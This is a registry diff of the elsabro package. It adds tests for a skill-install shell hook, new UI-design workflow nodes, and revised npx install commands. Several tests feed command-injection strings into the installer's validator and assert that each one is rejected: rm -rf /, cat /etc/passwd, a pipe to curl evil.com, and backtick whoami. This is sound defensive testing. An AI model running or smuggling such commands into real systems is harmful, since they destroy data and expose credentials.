elsabro 7.0.1 → 7.2.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
@@ -0,0 +1,374 @@
1
+ 'use strict';
2
+
3
+ const { describe, it } = require('node:test');
4
+ const assert = require('node:assert/strict');
5
+ const { execSync } = require('node:child_process');
6
+ const fs = require('node:fs');
7
+ const path = require('node:path');
8
+ const os = require('node:os');
9
+
10
+ // ---------- Shared helpers ----------
11
+
12
+ const PROJECT_ROOT = path.resolve(__dirname, '..', '..');
13
+ const SCRIPT = path.join(PROJECT_ROOT, 'hooks', 'skill-install.sh');
14
+
15
+ /**
16
+ * Run skill-install.sh with given args, parse JSON from stdout.
17
+ * Script always exits 0; errors communicated via JSON.
18
+ */
19
+ function runInstall(args, opts = {}) {
20
+ const env = { ...process.env, ...opts.env };
21
+ try {
22
+ const stdout = execSync(`bash "${SCRIPT}" ${args}`, {
23
+ cwd: PROJECT_ROOT,
24
+ encoding: 'utf8',
25
+ env,
26
+ stdio: ['pipe', 'pipe', 'pipe'],
27
+ timeout: 15000
28
+ });
29
+ return JSON.parse(stdout.trim());
30
+ } catch (err) {
31
+ // Script exits 0, but execSync can throw on timeout or signal
32
+ if (err.stdout) return JSON.parse(err.stdout.trim());
33
+ throw err;
34
+ }
35
+ }
36
+
37
+ /**
38
+ * Create a temp dir with a mock `npx` script that executes the given behavior.
39
+ * Returns the temp dir path (prepend to PATH).
40
+ */
41
+ function createMockNpx(behavior) {
42
+ const dir = fs.mkdtempSync(path.join(os.tmpdir(), 'mock-npx-'));
43
+ const script = path.join(dir, 'npx');
44
+ fs.writeFileSync(script, `#!/bin/bash\n${behavior}`, { mode: 0o755 });
45
+ return dir;
46
+ }
47
+
48
+ /**
49
+ * Create a temp HOME-equivalent dir with .claude/skills/ structure.
50
+ * `skills` is an object: { "name.md": "content", "sub/SKILL.md": "content" }
51
+ * Returns the tmpdir (use as HOME).
52
+ */
53
+ function createMockSkillsDir(skills = {}) {
54
+ const tmpBase = fs.mkdtempSync(path.join(os.tmpdir(), 'mock-home-'));
55
+ const skillsDir = path.join(tmpBase, '.claude', 'skills');
56
+ fs.mkdirSync(skillsDir, { recursive: true });
57
+ for (const [name, content] of Object.entries(skills)) {
58
+ const filePath = path.join(skillsDir, name);
59
+ fs.mkdirSync(path.dirname(filePath), { recursive: true });
60
+ fs.writeFileSync(filePath, content);
61
+ }
62
+ return tmpBase;
63
+ }
64
+
65
+ function cleanup(dir) {
66
+ fs.rmSync(dir, { recursive: true, force: true });
67
+ }
68
+
69
+ // ---------- Tests ----------
70
+
71
+ describe('skill-install.sh', () => {
72
+
73
+ // ---- cmd_check ----
74
+ describe('cmd_check', () => {
75
+ it('returns ok when npx skills check succeeds', () => {
76
+ const mockDir = createMockNpx('echo "Registry OK"; exit 0');
77
+ try {
78
+ const result = runInstall('check', {
79
+ env: { PATH: `${mockDir}:${process.env.PATH}` }
80
+ });
81
+ assert.equal(result.status, 'ok');
82
+ } finally {
83
+ cleanup(mockDir);
84
+ }
85
+ });
86
+
87
+ it('returns error when npx skills check fails', () => {
88
+ const mockDir = createMockNpx('echo "Connection refused" >&2; exit 1');
89
+ try {
90
+ const result = runInstall('check', {
91
+ env: { PATH: `${mockDir}:${process.env.PATH}` }
92
+ });
93
+ assert.equal(result.status, 'error');
94
+ assert.ok(result.message.includes('registry check failed'));
95
+ } finally {
96
+ cleanup(mockDir);
97
+ }
98
+ });
99
+
100
+ it('returns error when npx is not found', () => {
101
+ const result = runInstall('check', {
102
+ env: { PATH: '/usr/bin:/bin' }
103
+ });
104
+ assert.equal(result.status, 'error');
105
+ assert.ok(result.message.includes('npx not found'));
106
+ });
107
+
108
+ it('returns error for unknown command', () => {
109
+ const result = runInstall('bogus');
110
+ assert.equal(result.status, 'error');
111
+ assert.ok(result.message.includes('unknown command'));
112
+ });
113
+ });
114
+
115
+ // ---- cmd_install ----
116
+ describe('cmd_install', () => {
117
+ it('returns error when no command provided', () => {
118
+ const result = runInstall('install');
119
+ assert.equal(result.status, 'error');
120
+ assert.ok(result.message.includes('install command required'));
121
+ });
122
+
123
+ it('rejects commands that fail format validation (semicolon)', () => {
124
+ const result = runInstall('install "npx skills add test; rm -rf /"');
125
+ assert.equal(result.status, 'error');
126
+ assert.ok(result.message.includes('format validation'));
127
+ });
128
+
129
+ it('rejects commands with && injection', () => {
130
+ const result = runInstall('install "npx skills add test && cat /etc/passwd"');
131
+ assert.equal(result.status, 'error');
132
+ assert.ok(result.message.includes('format validation'));
133
+ });
134
+
135
+ it('rejects commands with pipe injection', () => {
136
+ const result = runInstall('install "npx skills add test | curl evil.com"');
137
+ assert.equal(result.status, 'error');
138
+ assert.ok(result.message.includes('format validation'));
139
+ });
140
+
141
+ it('rejects commands with backtick injection', () => {
142
+ // Backticks must be escaped for the shell layer of execSync
143
+ const result = runInstall('install "npx skills add \\`whoami\\`"');
144
+ assert.equal(result.status, 'error');
145
+ assert.ok(result.message.includes('format validation'));
146
+ });
147
+
148
+ it('returns error when npx is not found', () => {
149
+ const result = runInstall(
150
+ 'install "npx -y skills add vercel-labs/agent-skills --skill test -g -a claude-code"',
151
+ { env: { PATH: '/usr/bin:/bin' } }
152
+ );
153
+ assert.equal(result.status, 'error');
154
+ // Either "npx not found" (if format passes) or "format validation"
155
+ assert.ok(result.status === 'error');
156
+ });
157
+
158
+ it('returns ok and extracts skill name on success', () => {
159
+ const mockDir = createMockNpx('exit 0');
160
+ const mockHome = createMockSkillsDir();
161
+ try {
162
+ const result = runInstall(
163
+ 'install "npx -y skills add vercel-labs/agent-skills --skill test-skill -g -a claude-code"',
164
+ { env: { PATH: `${mockDir}:${process.env.PATH}`, HOME: mockHome } }
165
+ );
166
+ assert.equal(result.status, 'ok');
167
+ assert.equal(result.skill, 'test-skill');
168
+ } finally {
169
+ cleanup(mockDir);
170
+ cleanup(mockHome);
171
+ }
172
+ });
173
+
174
+ it('returns error when install command fails', () => {
175
+ const mockDir = createMockNpx('echo "Package not found" >&2; exit 1');
176
+ const mockHome = createMockSkillsDir();
177
+ try {
178
+ const result = runInstall(
179
+ 'install "npx -y skills add vercel-labs/agent-skills --skill bad-skill -g -a claude-code"',
180
+ { env: { PATH: `${mockDir}:${process.env.PATH}`, HOME: mockHome } }
181
+ );
182
+ assert.equal(result.status, 'error');
183
+ assert.ok(result.message.includes('install failed'));
184
+ } finally {
185
+ cleanup(mockDir);
186
+ cleanup(mockHome);
187
+ }
188
+ });
189
+
190
+ it('returns timeout error when install exits with code 124', () => {
191
+ // Exit 124 is what timeout/gtimeout returns; mock npx can simulate it directly
192
+ const mockDir = createMockNpx('exit 124');
193
+ const mockHome = createMockSkillsDir();
194
+ try {
195
+ const result = runInstall(
196
+ 'install "npx -y skills add vercel-labs/agent-skills --skill timeout-test -g -a claude-code"',
197
+ { env: { PATH: `${mockDir}:${process.env.PATH}`, HOME: mockHome } }
198
+ );
199
+ assert.equal(result.status, 'error');
200
+ assert.ok(result.message.includes('timed out'));
201
+ } finally {
202
+ cleanup(mockDir);
203
+ cleanup(mockHome);
204
+ }
205
+ });
206
+
207
+ it('returns error when skills dir not writable', () => {
208
+ const mockDir = createMockNpx('exit 0');
209
+ const mockHome = createMockSkillsDir();
210
+ const skillsDir = path.join(mockHome, '.claude', 'skills');
211
+ fs.chmodSync(skillsDir, 0o444);
212
+ try {
213
+ const result = runInstall(
214
+ 'install "npx -y skills add vercel-labs/agent-skills --skill test -g -a claude-code"',
215
+ { env: { PATH: `${mockDir}:${process.env.PATH}`, HOME: mockHome } }
216
+ );
217
+ assert.equal(result.status, 'error');
218
+ assert.ok(result.message.includes('not writable'));
219
+ } finally {
220
+ fs.chmodSync(skillsDir, 0o755);
221
+ cleanup(mockDir);
222
+ cleanup(mockHome);
223
+ }
224
+ });
225
+
226
+ it('invalidates discovery cache on success', () => {
227
+ const mockDir = createMockNpx('exit 0');
228
+ const mockHome = createMockSkillsDir();
229
+ const cacheDir = path.join(PROJECT_ROOT, '.cache');
230
+ const cacheFile = path.join(cacheDir, 'skill-discovery-cache.json');
231
+ // Save original content (not just existence) to restore after test
232
+ const originalContent = fs.existsSync(cacheFile)
233
+ ? fs.readFileSync(cacheFile, 'utf8')
234
+ : null;
235
+ if (!fs.existsSync(cacheDir)) fs.mkdirSync(cacheDir, { recursive: true });
236
+ fs.writeFileSync(cacheFile, '{"cached":true}');
237
+ try {
238
+ runInstall(
239
+ 'install "npx -y skills add vercel-labs/agent-skills --skill cache-test -g -a claude-code"',
240
+ { env: { PATH: `${mockDir}:${process.env.PATH}`, HOME: mockHome } }
241
+ );
242
+ assert.equal(fs.existsSync(cacheFile), false, 'Cache should be deleted after install');
243
+ } finally {
244
+ cleanup(mockDir);
245
+ cleanup(mockHome);
246
+ // Restore exact original content, or remove if it didn't exist
247
+ if (originalContent !== null) {
248
+ fs.writeFileSync(cacheFile, originalContent);
249
+ } else if (fs.existsSync(cacheFile)) {
250
+ fs.unlinkSync(cacheFile);
251
+ }
252
+ }
253
+ });
254
+ });
255
+
256
+ // ---- cmd_validate ----
257
+ describe('cmd_validate', () => {
258
+ it('returns error when no skill name provided', () => {
259
+ const result = runInstall('validate');
260
+ assert.equal(result.status, 'error');
261
+ assert.ok(result.message.includes('skill name required'));
262
+ });
263
+
264
+ it('returns ok with has_frontmatter:true for flat file with YAML', () => {
265
+ const mockHome = createMockSkillsDir({
266
+ 'test-skill.md': '---\nname: test-skill\n---\n# Content'
267
+ });
268
+ try {
269
+ const result = runInstall('validate "test-skill"', {
270
+ env: { HOME: mockHome }
271
+ });
272
+ assert.equal(result.status, 'ok');
273
+ assert.equal(result.has_frontmatter, true);
274
+ assert.ok(result.path.includes('test-skill.md'));
275
+ } finally {
276
+ cleanup(mockHome);
277
+ }
278
+ });
279
+
280
+ it('returns ok with has_frontmatter:false for flat file without YAML', () => {
281
+ const mockHome = createMockSkillsDir({
282
+ 'no-yaml.md': '# Just markdown\nNo frontmatter here'
283
+ });
284
+ try {
285
+ const result = runInstall('validate "no-yaml"', {
286
+ env: { HOME: mockHome }
287
+ });
288
+ assert.equal(result.status, 'ok');
289
+ assert.equal(result.has_frontmatter, false);
290
+ } finally {
291
+ cleanup(mockHome);
292
+ }
293
+ });
294
+
295
+ it('finds skill in subdirectory SKILL.md with YAML', () => {
296
+ const mockHome = createMockSkillsDir({
297
+ 'subskill/SKILL.md': '---\nname: subskill\n---\n# Subdir skill'
298
+ });
299
+ try {
300
+ const result = runInstall('validate "subskill"', {
301
+ env: { HOME: mockHome }
302
+ });
303
+ assert.equal(result.status, 'ok');
304
+ assert.equal(result.has_frontmatter, true);
305
+ assert.ok(result.path.includes('subskill/SKILL.md'));
306
+ } finally {
307
+ cleanup(mockHome);
308
+ }
309
+ });
310
+
311
+ it('returns has_frontmatter:false for subdirectory without YAML', () => {
312
+ const mockHome = createMockSkillsDir({
313
+ 'subskill-noyaml/SKILL.md': '# Just content\nNo YAML here'
314
+ });
315
+ try {
316
+ const result = runInstall('validate "subskill-noyaml"', {
317
+ env: { HOME: mockHome }
318
+ });
319
+ assert.equal(result.status, 'ok');
320
+ assert.equal(result.has_frontmatter, false);
321
+ assert.ok(result.path.includes('subskill-noyaml/SKILL.md'));
322
+ } finally {
323
+ cleanup(mockHome);
324
+ }
325
+ });
326
+
327
+ it('returns error when skill file not found', () => {
328
+ const mockHome = createMockSkillsDir({});
329
+ try {
330
+ const result = runInstall('validate "nonexistent"', {
331
+ env: { HOME: mockHome }
332
+ });
333
+ assert.equal(result.status, 'error');
334
+ assert.ok(result.message.includes('not found'));
335
+ } finally {
336
+ cleanup(mockHome);
337
+ }
338
+ });
339
+ });
340
+
341
+ // ---- JSON contract ----
342
+ describe('JSON contract', () => {
343
+ it('all commands return valid JSON on stdout', () => {
344
+ const mockDir = createMockNpx('exit 1');
345
+ try {
346
+ const commands = ['check', 'install', 'validate', 'bogus'];
347
+ for (const cmd of commands) {
348
+ const result = runInstall(cmd, {
349
+ env: { PATH: `${mockDir}:${process.env.PATH}` }
350
+ });
351
+ assert.ok(typeof result === 'object', `${cmd} should return JSON object`);
352
+ assert.ok('status' in result, `${cmd} should have status field`);
353
+ }
354
+ } finally {
355
+ cleanup(mockDir);
356
+ }
357
+ });
358
+
359
+ it('status is always "ok" or "error"', () => {
360
+ const mockDir = createMockNpx('exit 0');
361
+ try {
362
+ const okResult = runInstall('check', {
363
+ env: { PATH: `${mockDir}:${process.env.PATH}` }
364
+ });
365
+ assert.ok(['ok', 'error'].includes(okResult.status));
366
+ } finally {
367
+ cleanup(mockDir);
368
+ }
369
+
370
+ const errResult = runInstall('bogus');
371
+ assert.ok(['ok', 'error'].includes(errResult.status));
372
+ });
373
+ });
374
+ });
@@ -6,23 +6,22 @@
6
6
 
7
7
  "config": {
8
8
  "timeout": 3600000,
9
- "maxRetries": 3,
10
9
  "checkpointEnabled": true,
11
10
  "interruptEnabled": true,
12
11
  "errorPolicy": "quorum"
13
12
  },
14
13
 
15
14
  "sync_metadata": {
16
- "last_audit": "2026-02-07",
15
+ "last_audit": "2026-02-08",
17
16
  "audit_result": {
18
- "total_nodes": 42,
19
- "implemented": 40,
17
+ "total_nodes": 44,
18
+ "implemented": 42,
20
19
  "partial": 0,
21
20
  "not_implemented": 0,
22
21
  "deprecated": 2,
23
22
  "implementation_rate": "95%"
24
23
  },
25
- "note": "P5 (M4): All 42 nodes handled. 40 implemented, 2 deprecated (teams_spawn, interrupt_teams_failed). post_mortem implemented with agent step. Zero not_implemented nodes remain."
24
+ "note": "M5-P2: Added design_ui + interrupt_design_complete (2 new implemented nodes). 42 implemented, 2 deprecated (teams_spawn, interrupt_teams_failed). design_ui is optional side-branch, not on mandatory path."
26
25
  },
27
26
 
28
27
  "inputs": {
@@ -980,6 +979,44 @@
980
979
  }
981
980
  },
982
981
 
982
+ {
983
+ "id": "design_ui",
984
+ "type": "agent",
985
+ "description": "Optional: Design UI screens with Stitch AI before implementation",
986
+ "runtime_status": "implemented",
987
+ "implemented_in": "commands/elsabro/design-ui.md",
988
+ "agent": "elsabro-ux-designer",
989
+ "config": { "model": "sonnet", "timeout": 600000 },
990
+ "inputs": {
991
+ "task": "{{inputs.task}}",
992
+ "context": "{{state.loadedContext}}"
993
+ },
994
+ "next": "interrupt_design_complete"
995
+ },
996
+
997
+ {
998
+ "id": "interrupt_design_complete",
999
+ "type": "interrupt",
1000
+ "description": "After design-ui: choose next step (implement, plan, or done)",
1001
+ "runtime_status": "implemented",
1002
+ "implemented_in": "commands/elsabro/design-ui.md#siguiente_paso",
1003
+ "reason": "Design screens generated - choose next action",
1004
+ "display": {
1005
+ "title": "Diseno UI Completado",
1006
+ "content": "Se han generado los screens de UI. Elige como continuar.",
1007
+ "options": [
1008
+ { "id": "implement", "label": "Implementar los disenos ahora" },
1009
+ { "id": "plan", "label": "Planificar la implementacion primero" },
1010
+ { "id": "done", "label": "Listo por ahora" }
1011
+ ]
1012
+ },
1013
+ "routes": {
1014
+ "implement": "standard_analyze",
1015
+ "plan": "interview_default",
1016
+ "done": "end_success"
1017
+ }
1018
+ },
1019
+
983
1020
  {
984
1021
  "id": "end_cancelled",
985
1022
  "type": "exit",
@@ -6,7 +6,6 @@
6
6
 
7
7
  "config": {
8
8
  "timeout": 900000,
9
- "maxRetries": 2,
10
9
  "checkpointEnabled": true,
11
10
  "interruptEnabled": false,
12
11
  "errorPolicy": "continue_all"
@@ -31,6 +31,7 @@ GLOBAL_SKILLS_DIR="${HOME}/.claude/skills"
31
31
  CACHE_DIR="${PROJECT_ROOT}/.cache"
32
32
  CACHE_FILE="${CACHE_DIR}/skill-discovery-cache.json"
33
33
  CACHE_TTL=3600 # 1 hora
34
+ DEFAULT_SKILLS_SOURCE="vercel-labs/agent-skills"
34
35
 
35
36
  MAX_RESULTS=10
36
37
  NPX_TIMEOUT=30 # segundos
@@ -291,7 +292,7 @@ discover_via_npx_skills() {
291
292
  # El formato típico es líneas con nombre y descripción
292
293
  # Intentar parsear como JSON primero (por si devuelve JSON)
293
294
  if echo "$raw_output" | jq empty 2>/dev/null; then
294
- echo "$raw_output" | jq '[.[] | . + {"source": "skills-registry", "status": "available", "install_cmd": ("npx skills add -g " + .name)}]' 2>/dev/null || echo "[]"
295
+ echo "$raw_output" | jq --arg src "$DEFAULT_SKILLS_SOURCE" '[.[] | . + {"source": "skills-registry", "status": "available", "install_cmd": ("npx skills add " + $src + " --skill " + .name + " -g -a claude-code -y")}]' 2>/dev/null || echo "[]"
295
296
  return
296
297
  fi
297
298
 
@@ -312,8 +313,8 @@ discover_via_npx_skills() {
312
313
 
313
314
  # Use jq for safe JSON construction
314
315
  local skill_obj
315
- skill_obj=$(jq -n --arg id "$name" --arg desc "$desc" --arg cmd "npx skills add -g $name" \
316
- '{id: $id, source: "skills-registry", status: "available", description: $desc, install_cmd: $cmd}')
316
+ skill_obj=$(jq -n --arg id "$name" --arg desc "$desc" --arg src "$DEFAULT_SKILLS_SOURCE" \
317
+ '{id: $id, source: "skills-registry", status: "available", description: $desc, install_cmd: ("npx skills add " + $src + " --skill " + $id + " -g -a claude-code -y")}')
317
318
  skills+=("$skill_obj")
318
319
  done <<< "$raw_output"
319
320
 
@@ -450,6 +451,7 @@ NOJQ
450
451
  --argjson external "$external" \
451
452
  --argjson recommended "$recommended" \
452
453
  --argjson updates "$updates" \
454
+ --arg src "$DEFAULT_SKILLS_SOURCE" \
453
455
  '{
454
456
  timestamp: (now | strftime("%Y-%m-%dT%H:%M:%SZ")),
455
457
  status: "success",
@@ -484,7 +486,7 @@ NOJQ
484
486
  actions: {
485
487
  install_all: (
486
488
  if ($recommended | length) > 0
487
- then "npx skills add -g " + ([$recommended[].id] | join(" "))
489
+ then "npx skills add " + $src + " --skill " + ([$recommended[].id] | join(" --skill ")) + " -g -a claude-code -y"
488
490
  else null
489
491
  end
490
492
  ),